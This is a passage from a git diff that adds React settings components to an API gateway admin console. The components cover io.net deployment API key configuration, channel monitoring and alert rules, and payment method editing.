+        value: String(values.enabled),
+      })
+    }
+
+    if ((values.apiKey || '') !== (defaultValues.apiKey || '')) {
+      updates.push({
+        key: 'model_deployment.ionet.api_key',
+        value: String(values.apiKey || ''),
+      })
+    }
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const update of updates) {
+      await updateOption.mutateAsync(update)
+    }
+
+    form.reset(values)
+  }
+
+  const handleTestConnection = async () => {
+    setTestState({ loading: true, ok: null, error: null })
+    try {
+      const apiKey = form.getValues('apiKey')
+      const res = await testDeploymentConnectionWithKey(apiKey)
+      if (res?.success) {
+        setTestState({ loading: false, ok: true, error: null })
+        return
+      }
+      setTestState({
+        loading: false,
+        ok: false,
+        error: res?.message || t('Connection failed'),
+      })
+    } catch (err) {
+      setTestState({
+        loading: false,
+        ok: false,
+        error: err instanceof Error ? err.message : t('Connection failed'),
+      })
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('io.net Deployments')}
+      description={t('Configure io.net API key for model deployments')}
+    >
+      <Form {...form}>
+        <form
+          onSubmit={form.handleSubmit(onSubmit)}
+          autoComplete='off'
+          className='space-y-6'
+        >
+          <FormField
+            control={form.control}
+            name='enabled'
+            render={({ field }) => (
+              <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                <div className='space-y-0.5'>
+                  <FormLabel className='text-base'>
+                    {t('Enable io.net deployments')}
+                  </FormLabel>
+                  <FormDescription>
+                    {t('Enable io.net model deployment service in console')}
+                  </FormDescription>
+                </div>
+                <FormControl>
+                  <Switch
+                    checked={field.value}
+                    onCheckedChange={(v) => field.onChange(v)}
+                    disabled={updateOption.isPending || isSubmitting}
+                  />
+                </FormControl>
+              </FormItem>
+            )}
+          />
+
+          {enabled ? (
+            <>
+              <FormField
+                control={form.control}
+                name='apiKey'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('io.net API Key')}</FormLabel>
+                    <div className='flex gap-2'>
+                      <FormControl>
+                        <Input
+                          type='password'
+                          placeholder={t('Enter API Key')}
+                          autoComplete='off'
+                          {...field}
+                        />
+                      </FormControl>
+                      <Button
+                        type='button'
+                        variant='secondary'
+                        onClick={handleTestConnection}
+                        disabled={testState.loading || updateOption.isPending}
+                        className='shrink-0'
+                      >
+                        {testState.loading ? (
+                          <Loader2 className='me-2 size-4 animate-spin' />
+                        ) : null}
+                        {t('Test Connection')}
+                      </Button>
+                    </div>
+                    <FormDescription>
+                      {t('Used to authenticate with io.net deployment API')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <Alert variant='default'>
+                <AlertTitle>{t('How to get an io.net API Key')}</AlertTitle>
+                <AlertDescription>
+                  <div className='space-y-2'>
+                    <ul className='list-disc space-y-1 pl-5'>
+                      <li>{t('Open the io.net console API Keys page')}</li>
+                      <li>
+                        {t(
+                          'Set Project to io.cloud when creating/selecting key'
+                        )}
+                      </li>
+                      <li>{t('Copy the key and paste it here')}</li>
+                    </ul>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      onClick={() =>
+                        window.open('https://ai.io.net/ai/api-keys', '_blank')
+                      }
+                    >
+                      {t('Go to io.net API Keys')}
+                    </Button>
+                  </div>
+                </AlertDescription>
+              </Alert>
+
+              {testState.ok === true ? (
+                <Alert variant='default' className='flex items-center gap-2'>
+                  <CheckCircle2 className='size-4 text-green-600' />
+                  <div>
+                    <AlertTitle>{t('Connection successful')}</AlertTitle>
+                    <AlertDescription>
+                      {t('Connected to io.net service normally.')}
+                    </AlertDescription>
+                  </div>
+                </Alert>
+              ) : null}
+
+              {testState.ok === false && testState.error ? (
+                <Alert
+                  variant='destructive'
+                  className='flex items-center gap-2'
+                >
+                  <XCircle className='size-4' />
+                  <div>
+                    <AlertTitle>{t('Connection failed')}</AlertTitle>
+                    <AlertDescription>{t(testState.error)}</AlertDescription>
+                  </div>
+                </Alert>
+              ) : null}
+            </>
+          ) : null}
+
+          <Button
+            type='submit'
+            disabled={!isDirty || updateOption.isPending || isSubmitting}
+          >
+            {updateOption.isPending || isSubmitting
+              ? t('Saving...')
+              : t('Save io.net settings')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/monitoring-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/monitoring-settings-section.tsx
new file mode 100644
index 0000000..48a44d5
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/monitoring-settings-section.tsx
@@ -0,0 +1,487 @@
+import { useMemo, useRef } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { parseHttpStatusCodeRules } from '@/lib/http-status-code-rules'
+import { Button } from '@/components/ui/button'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useResetForm } from '../hooks/use-reset-form'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+const numericString = z.string().refine((value) => {
+  const trimmed = value.trim()
+  if (!trimmed) return true
+  return !Number.isNaN(Number(trimmed)) && Number(trimmed) >= 0
+}, 'Enter a non-negative number or leave empty')
+
+const monitoringSchema = z
+  .object({
+    ChannelDisableThreshold: numericString,
+    QuotaRemindThreshold: numericString,
+    AutomaticDisableChannelEnabled: z.boolean(),
+    AutomaticEnableChannelEnabled: z.boolean(),
+    AutomaticDisableKeywords: z.string(),
+    AutomaticDisableStatusCodes: z.string(),
+    AutomaticRetryStatusCodes: z.string(),
+    monitor_setting: z.object({
+      auto_test_channel_enabled: z.boolean(),
+      auto_test_channel_minutes: z.coerce
+        .number()
+        .int()
+        .min(1, 'Interval must be at least 1 minute'),
+    }),
+  })
+  .superRefine((values, ctx) => {
+    const disableParsed = parseHttpStatusCodeRules(
+      values.AutomaticDisableStatusCodes
+    )
+    if (!disableParsed.ok) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['AutomaticDisableStatusCodes'],
+        message: `Invalid status code rules: ${disableParsed.invalidTokens.join(
+          ', '
+        )}`,
+      })
+    }
+
+    const retryParsed = parseHttpStatusCodeRules(
+      values.AutomaticRetryStatusCodes
+    )
+    if (!retryParsed.ok) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['AutomaticRetryStatusCodes'],
+        message: `Invalid status code rules: ${retryParsed.invalidTokens.join(
+          ', '
+        )}`,
+      })
+    }
+  })
+
+type MonitoringFormValues = z.output<typeof monitoringSchema>
+type MonitoringFormInput = z.input<typeof monitoringSchema>
+
+type MonitoringSettingsSectionProps = {
+  defaultValues: {
+    ChannelDisableThreshold: string
+    QuotaRemindThreshold: string
+    AutomaticDisableChannelEnabled: boolean
+    AutomaticEnableChannelEnabled: boolean
+    AutomaticDisableKeywords: string
+    AutomaticDisableStatusCodes: string
+    AutomaticRetryStatusCodes: string
+    'monitor_setting.auto_test_channel_enabled': boolean
+    'monitor_setting.auto_test_channel_minutes': number
+  }
+}
+
+function normalizeLineEndings(value: string) {
+  return value.replace(/\r\n/g, '\n')
+}
+
+type NormalizedMonitoringValues = {
+  ChannelDisableThreshold: string
+  QuotaRemindThreshold: string
+  AutomaticDisableChannelEnabled: boolean
+  AutomaticEnableChannelEnabled: boolean
+  AutomaticDisableKeywords: string
+  AutomaticDisableStatusCodes: string
+  AutomaticRetryStatusCodes: string
+  'monitor_setting.auto_test_channel_enabled': boolean
+  'monitor_setting.auto_test_channel_minutes': number
+}
+
+const buildFormDefaults = (
+  defaults: MonitoringSettingsSectionProps['defaultValues']
+): MonitoringFormInput => ({
+  ChannelDisableThreshold: defaults.ChannelDisableThreshold ?? '',
+  QuotaRemindThreshold: defaults.QuotaRemindThreshold ?? '',
+  AutomaticDisableChannelEnabled: defaults.AutomaticDisableChannelEnabled,
+  AutomaticEnableChannelEnabled: defaults.AutomaticEnableChannelEnabled,
+  AutomaticDisableKeywords: normalizeLineEndings(
+    defaults.AutomaticDisableKeywords ?? ''
+  ),
+  AutomaticDisableStatusCodes: defaults.AutomaticDisableStatusCodes ?? '',
+  AutomaticRetryStatusCodes: defaults.AutomaticRetryStatusCodes ?? '',
+  monitor_setting: {
+    auto_test_channel_enabled:
+      defaults['monitor_setting.auto_test_channel_enabled'],
+    auto_test_channel_minutes:
+      defaults['monitor_setting.auto_test_channel_minutes'],
+  },
+})
+
+const normalizeDefaults = (
+  defaults: MonitoringSettingsSectionProps['defaultValues']
+): NormalizedMonitoringValues => ({
+  ChannelDisableThreshold: (defaults.ChannelDisableThreshold ?? '').trim(),
+  QuotaRemindThreshold: (defaults.QuotaRemindThreshold ?? '').trim(),
+  AutomaticDisableChannelEnabled: defaults.AutomaticDisableChannelEnabled,
+  AutomaticEnableChannelEnabled: defaults.AutomaticEnableChannelEnabled,
+  AutomaticDisableKeywords: normalizeLineEndings(
+    defaults.AutomaticDisableKeywords ?? ''
+  ),
+  AutomaticDisableStatusCodes: parseHttpStatusCodeRules(
+    defaults.AutomaticDisableStatusCodes ?? ''
+  ).normalized,
+  AutomaticRetryStatusCodes: parseHttpStatusCodeRules(
+    defaults.AutomaticRetryStatusCodes ?? ''
+  ).normalized,
+  'monitor_setting.auto_test_channel_enabled':
+    defaults['monitor_setting.auto_test_channel_enabled'],
+  'monitor_setting.auto_test_channel_minutes':
+    defaults['monitor_setting.auto_test_channel_minutes'],
+})
+
+const normalizeFormValues = (
+  values: MonitoringFormValues
+): NormalizedMonitoringValues => ({
+  ChannelDisableThreshold: values.ChannelDisableThreshold.trim(),
+  QuotaRemindThreshold: values.QuotaRemindThreshold.trim(),
+  AutomaticDisableChannelEnabled: values.AutomaticDisableChannelEnabled,
+  AutomaticEnableChannelEnabled: values.AutomaticEnableChannelEnabled,
+  AutomaticDisableKeywords: normalizeLineEndings(
+    values.AutomaticDisableKeywords
+  ),
+  AutomaticDisableStatusCodes: parseHttpStatusCodeRules(
+    values.AutomaticDisableStatusCodes
+  ).normalized,
+  AutomaticRetryStatusCodes: parseHttpStatusCodeRules(
+    values.AutomaticRetryStatusCodes
+  ).normalized,
+  'monitor_setting.auto_test_channel_enabled':
+    values.monitor_setting.auto_test_channel_enabled,
+  'monitor_setting.auto_test_channel_minutes':
+    values.monitor_setting.auto_test_channel_minutes,
+})
+
+export function MonitoringSettingsSection({
+  defaultValues,
+}: MonitoringSettingsSectionProps) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const baselineRef = useRef<NormalizedMonitoringValues>(
+    normalizeDefaults(defaultValues)
+  )
+
+  const formDefaults = useMemo(
+    () => buildFormDefaults(defaultValues),
+    [defaultValues]
+  )
+
+  const form = useForm<MonitoringFormInput, unknown, MonitoringFormValues>({
+    resolver: zodResolver(monitoringSchema),
+    defaultValues: formDefaults,
+  })
+
+  useResetForm(form, formDefaults)
+
+  const autoDisableStatusCodes = form.watch('AutomaticDisableStatusCodes')
+  const autoRetryStatusCodes = form.watch('AutomaticRetryStatusCodes')
+  const autoDisableParsed = useMemo(
+    () => parseHttpStatusCodeRules(autoDisableStatusCodes),
+    [autoDisableStatusCodes]
+  )
+  const autoRetryParsed = useMemo(
+    () => parseHttpStatusCodeRules(autoRetryStatusCodes),
+    [autoRetryStatusCodes]
+  )
+
+  const onSubmit = async (values: MonitoringFormValues) => {
+    const normalized = normalizeFormValues(values)
+    const updates = (
+      Object.keys(normalized) as Array<keyof NormalizedMonitoringValues>
+    ).filter((key) => normalized[key] !== baselineRef.current[key])
+
+    if (updates.length === 0) {
+      toast.info(t('No changes to save'))
+      return
+    }
+
+    for (const key of updates) {
+      const value = normalized[key]
+      await updateOption.mutateAsync({
+        key,
+        value,
+      })
+    }
+
+    baselineRef.current = normalized
+  }
+
+  return (
+    <SettingsSection
+      title={t('Monitoring & Alerts')}
+      description={t(
+        'Automatically test channels and notify users when limits are hit'
+      )}
+    >
+      <Form {...form}>
+        <form onSubmit={form.handleSubmit(onSubmit)} className='space-y-6'>
+          <div className='grid gap-6 md:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='monitor_setting.auto_test_channel_enabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Scheduled channel tests')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Automatically probe all channels in the background')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='monitor_setting.auto_test_channel_minutes'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Test interval (minutes)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      min={1}
+                      step={1}
+                      value={
+                        typeof field.value === 'number' &&
+                        Number.isFinite(field.value)
+                          ? field.value
+                          : ''
+                      }
+                      onChange={(event) =>
+                        field.onChange(event.target.valueAsNumber)
+                      }
+                      name={field.name}
+                      onBlur={field.onBlur}
+                      ref={field.ref}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('How frequently the system tests all channels')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <div className='grid gap-6 md:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='ChannelDisableThreshold'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Disable threshold (seconds)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      min={0}
+                      step={1}
+                      value={field.value}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Automatically disable channels exceeding this response time'
+                    )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='QuotaRemindThreshold'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Quota reminder (tokens)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      min={0}
+                      step={1}
+                      value={field.value}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Send email alerts when a user falls below this quota')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <div className='grid gap-6 md:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='AutomaticDisableChannelEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Disable on failure')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Automatically disable channels when tests fail')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AutomaticEnableChannelEnabled'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Re-enable on success')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Bring channels back online after successful checks')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <FormField
+            control={form.control}
+            name='AutomaticDisableKeywords'
+            render={({ field }) => (
+              <FormItem>
+                <FormLabel>{t('Failure keywords')}</FormLabel>
+                <FormControl>
+                  <Textarea
+                    rows={6}
+                    placeholder={t('one keyword per line')}
+                    {...field}
+                    onChange={(event) => field.onChange(event.target.value)}
+                  />
+                </FormControl>
+                <FormDescription>
+                  {t(
+                    'If an upstream error contains any of these keywords (case insensitive), the channel will be disabled automatically.'
+                  )}
+                </FormDescription>
+                <FormMessage />
+              </FormItem>
+            )}
+          />
+
+          <div className='grid gap-6 md:grid-cols-2'>
+            <FormField
+              control={form.control}
+              name='AutomaticDisableStatusCodes'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Auto-disable status codes')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('e.g. 401, 403, 429, 500-599')}
+                      value={field.value}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Accepts comma-separated status codes and inclusive ranges.'
+                    )}{' '}
+                    {autoDisableParsed.ok &&
+                      autoDisableParsed.normalized &&
+                      autoDisableParsed.normalized !== field.value.trim() && (
+                        <span className='text-muted-foreground'>
+                          {t('Normalized:')} {autoDisableParsed.normalized}
+                        </span>
+                      )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='AutomaticRetryStatusCodes'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Auto-retry status codes')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('e.g. 401, 403, 429, 500-599')}
+                      value={field.value}
+                      onChange={(event) => field.onChange(event.target.value)}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t(
+                      'Accepts comma-separated status codes and inclusive ranges.'
+                    )}{' '}
+                    {autoRetryParsed.ok &&
+                      autoRetryParsed.normalized &&
+                      autoRetryParsed.normalized !== field.value.trim() && (
+                        <span className='text-muted-foreground'>
+                          {t('Normalized:')} {autoRetryParsed.normalized}
+                        </span>
+                      )}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending
+              ? t('Saving...')
+              : t('Save monitoring rules')}
+          </Button>
+        </form>
+      </Form>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/payment-method-dialog.tsx b/new-api/web/default/src/features/system-settings/integrations/payment-method-dialog.tsx
new file mode 100644
index 0000000..1f7e3c2
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/payment-method-dialog.tsx
@@ -0,0 +1,284 @@
+import { useEffect, useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Combobox } from '@/components/ui/combobox'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+
+const createPaymentMethodDialogSchema = (t: (key: string) => string) =>
+  z.object({
+    name: z.string().min(1, t('Payment method name is required')),
+    type: z.string().min(1, t('Payment method type is required')),
+    color: z.string().min(1, t('Color is required')),
+    min_topup: z.string().optional(),
+  })
+
+type PaymentMethodDialogFormValues = z.infer<
+  ReturnType<typeof createPaymentMethodDialogSchema>
+>
+
+export type PaymentMethodData = {
+  name: string
+  type: string
+  color: string
+  min_topup?: string
+}
+
+type PaymentMethodDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: PaymentMethodData) => void
+  editData?: PaymentMethodData | null
+}
+
+const PAYMENT_TYPES = [
+  { value: 'alipay', label: 'Alipay' },
+  { value: 'wxpay', label: 'WeChat Pay' },
+  { value: 'stripe', label: 'Stripe' },
+]
+
+const getColorPreview = (color: string) => {
+  if (color.includes('var(--')) {
+    return null
+  }
+  return color
+}
+
+const COLOR_PRESETS = [
+  { value: '#1677FF', label: 'Blue (Alipay)' },
+  { value: '#07C160', label: 'Green (WeChat)' },
+  { value: '#635BFF', label: 'Purple (Stripe)' },
+  { value: '#1890FF', label: 'Sky Blue' },
+  { value: '#52C41A', label: 'Lime Green' },
+  { value: 'black', label: 'Black' },
+  { value: '#FF4D4F', label: 'Red' },
+  { value: '#FFA940', label: 'Orange' },
+].map((preset) => {
+  const previewColor = getColorPreview(preset.value)
+  return {
+    ...preset,
+    icon: previewColor ? (
+      <div
+        className='size-4 rounded border'
+        style={{ backgroundColor: previewColor }}
+      />
+    ) : (
+      <div className='bg-muted size-4 rounded border' />
+    ),
+  }
+})
+
+export function PaymentMethodDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: PaymentMethodDialogProps) {
+  const { t } = useTranslation()
+  const isEditMode = !!editData
+  const paymentMethodDialogSchema = createPaymentMethodDialogSchema(t)
+
+  const form = useForm<PaymentMethodDialogFormValues>({
+    resolver: zodResolver(paymentMethodDialogSchema),
+    defaultValues: {
+      name: '',
+      type: '',
+      color: '',
+      min_topup: '',
+    },
+  })
+
+  const colorValue = form.watch('color')
+
+  const colorPreview = useMemo(() => {
+    if (!colorValue) return null
+    try {
+      // For CSS variables like rgba(var(--semi-blue-5), 1), we can't preview accurately
+      // but we can detect common patterns
+      if (colorValue.includes('var(--')) {
+        return null // Can't preview CSS variables reliably
+      }
+      return colorValue
+    } catch {
+      return null
+    }
+  }, [colorValue])
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+    } else {
+      form.reset({
+        name: '',
+        type: '',
+        color: '',
+        min_topup: '',
+      })
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: PaymentMethodDialogFormValues) => {
+    const data: PaymentMethodData = {
+      name: values.name,
+      type: values.type,
+      color: values.color,
+    }
+    if (values.min_topup && values.min_topup.trim() !== '') {
+      data.min_topup = values.min_topup
+    }
+    onSave(data)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='sm:max-w-[500px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit payment method') : t('Add payment method')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure a payment method for user recharge options.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-4'
+          >
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Name')}</FormLabel>
+                  <FormControl>
+                    <Input placeholder={t('e.g., Alipay, WeChat')} {...field} />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Display name for this payment method.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='type'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Type')}</FormLabel>
+                  <FormControl>
+                    <Combobox
+                      options={PAYMENT_TYPES}
+                      value={field.value}
+                      onValueChange={field.onChange}
+                      placeholder={t('Select or enter payment type')}
+                      searchPlaceholder={t('Search payment types...')}
+                      allowCustomValue
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Select from presets or type custom identifier.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='color'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Color')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Combobox
+                        options={COLOR_PRESETS}
+                        value={field.value}
+                        onValueChange={field.onChange}
+                        placeholder={t('Select or enter color value')}
+                        searchPlaceholder={t('Search colors...')}
+                        allowCustomValue
+                        className='flex-1'
+                      />
+                      {colorPreview && (
+                        <div
+                          className='size-9 shrink-0 rounded border'
+                          style={{ backgroundColor: colorPreview }}
+                          title={colorPreview}
+                        />
+                      )}
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Select preset or enter custom CSS color value.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='min_topup'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Minimum top-up (optional)')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      type='number'
+                      step='0.01'
+                      placeholder={t('e.g., 50')}
+                      {...field}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('Optional minimum recharge amount for this method.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/payment-methods-visual-editor.tsx b/new-api/web/default/src/features/system-settings/integrations/payment-methods-visual-editor.tsx
new file mode 100644
index 0000000..cb49bd1
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/payment-methods-visual-editor.tsx
@@ -0,0 +1,438 @@
+import { useState, useMemo } from 'react'
+import { Lightbulb, Pencil, Plus, Search, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import {
+  Popover,
+  PopoverContent,
+  PopoverTrigger,
+} from '@/components/ui/popover'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { safeJsonParseWithValidation } from '../utils/json-parser'
+import { isArray } from '../utils/json-validators'
+import {
+  PaymentMethodDialog,
+  type PaymentMethodData,
+} from './payment-method-dialog'
+
+type PaymentMethodsVisualEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+const PAYMENT_TEMPLATES = [
+  {
+    name: 'Alipay',
+    template: {
+      color: 'rgba(var(--semi-blue-5), 1)',
+      name: '支付宝',
+      type: 'alipay',
+    },
+  },
+  {
+    name: 'WeChat Pay',
+    template: {
+      color: 'rgba(var(--semi-green-5), 1)',
+      name: '微信',
+      type: 'wxpay',
+    },
+  },
+  {
+    name: 'Stripe',
+    template: {
+      color: 'rgba(var(--semi-green-5), 1)',
+      name: 'Stripe',
+      type: 'stripe',
+    },
+  },
+  {
+    name: 'Custom',
+    template: {
+      color: 'black',
+      min_topup: '50',
+      name: '自定义1',
+      type: 'custom1',
+    },
+  },
+]
+
+export function PaymentMethodsVisualEditor({
+  value,
+  onChange,
+}: PaymentMethodsVisualEditorProps) {
+  const { t } = useTranslation()
+  const [searchText, setSearchText] = useState('')
+  const [dialogOpen, setDialogOpen] = useState(false)
+  const [editData, setEditData] = useState<PaymentMethodData | null>(null)
+
+  const paymentMethods = useMemo(() => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      validatorMessage: 'Payment methods must be a JSON array',
+      context: 'payment methods',
+    })
+
+    return parsed.filter(
+      (item): item is PaymentMethodData =>
+        typeof item === 'object' &&
+        item !== null &&
+        'name' in item &&
+        'type' in item &&
+        'color' in item &&
+        typeof item.name === 'string' &&
+        typeof item.type === 'string' &&
+        typeof item.color === 'string'
+    )
+  }, [value])
+
+  const filteredMethods = useMemo(() => {
+    if (!searchText) return paymentMethods
+    const lowerSearch = searchText.toLowerCase()
+    return paymentMethods.filter(
+      (method) =>
+        method.name.toLowerCase().includes(lowerSearch) ||
+        method.type.toLowerCase().includes(lowerSearch)
+    )
+  }, [paymentMethods, searchText])
+
+  const handleSave = (data: PaymentMethodData) => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    const updatedArray = [...parsed]
+
+    if (editData) {
+      const index = updatedArray.findIndex(
+        (item): item is PaymentMethodData =>
+          typeof item === 'object' &&
+          item !== null &&
+          'name' in item &&
+          'type' in item &&
+          item.name === editData.name &&
+          item.type === editData.type
+      )
+      if (index !== -1) {
+        updatedArray[index] = data
+      } else {
+        updatedArray.push(data)
+      }
+    } else {
+      updatedArray.push(data)
+    }
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleDelete = (method: PaymentMethodData) => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    const updatedArray = parsed.filter(
+      (item) =>
+        !(
+          typeof item === 'object' &&
+          item !== null &&
+          'name' in item &&
+          'type' in item &&
+          item.name === method.name &&
+          item.type === method.type
+        )
+    )
+
+    onChange(JSON.stringify(updatedArray, null, 2))
+  }
+
+  const handleEdit = (method: PaymentMethodData) => {
+    setEditData(method)
+    setDialogOpen(true)
+  }
+
+  const handleAdd = () => {
+    setEditData(null)
+    setDialogOpen(true)
+  }
+
+  const handleInsertTemplate = (template: PaymentMethodData) => {
+    const parsed = safeJsonParseWithValidation<unknown[]>(value, {
+      fallback: [],
+      validator: isArray,
+      silent: true,
+    })
+
+    // Check if template already exists
+    const exists = parsed.some(
+      (item) =>
+        typeof item === 'object' &&
+        item !== null &&
+        'type' in item &&
+        'name' in item &&
+        item.type === template.type &&
+        item.name === template.name
+    )
+
+    if (!exists) {
+      parsed.push(template)
+      onChange(JSON.stringify(parsed, null, 2))
+    }
+  }
+
+  const getColorPreview = (color: string) => {
+    // For CSS variables, show a placeholder
+    if (color.includes('var(--')) {
+      return null
